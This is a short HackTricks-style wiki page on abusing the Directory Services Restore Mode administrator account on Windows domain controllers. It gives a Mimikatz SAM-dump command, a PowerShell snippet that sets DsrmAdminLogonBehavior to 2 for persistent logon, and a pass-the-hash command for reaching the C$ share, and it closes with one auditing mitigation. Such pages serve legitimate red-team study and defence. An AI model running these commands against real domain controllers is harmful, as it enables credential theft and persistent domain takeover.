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// HackTricks · Windows

DSRM Credentials

DSRM Credentials

Basic Information

Every domain controller has a Directory Services Restore Mode (DSRM) administrator account. Its password is set during domain-controller promotion and is separate from Active Directory domain accounts.[1]

An attacker with administrative control of a domain controller can dump the local SAM database and recover the DSRM Administrator NTLM hash. The following Mimikatz command performs that operation:[2]

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

By default, the DSRM account is intended for restore mode. Setting DsrmAdminLogonBehavior to 2 permits this local account to authenticate while the domain controller is running normally. Check the value before changing it:[2][3]

$lsaPath = 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa'
$current = Get-ItemProperty -Path $lsaPath -Name DsrmAdminLogonBehavior -ErrorAction SilentlyContinue

if ($null -eq $current) {
    New-ItemProperty -Path $lsaPath -Name DsrmAdminLogonBehavior -Value 2 -PropertyType DWORD
} else {
    Set-ItemProperty -Path $lsaPath -Name DsrmAdminLogonBehavior -Value 2
}

The recovered hash can then be used in a pass-the-hash session to access resources such as the administrative C$ share. For this local account, use the domain controller’s computer name as the /domain value:[3]

sekurlsa::pth /domain:dc-host-name /user:Administrator /ntlm:b629ad5753f4c441e3af31c97fad8973 /run:powershell.exe
# In the new PowerShell process, access C$ over NTLM.
ls \\dc-host-name\C$

Mitigation

  • Audit changes to HKLM:\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior. Security event 4657 records a registry value modification when the key’s SACL is configured to audit Set Value operations.[4]

References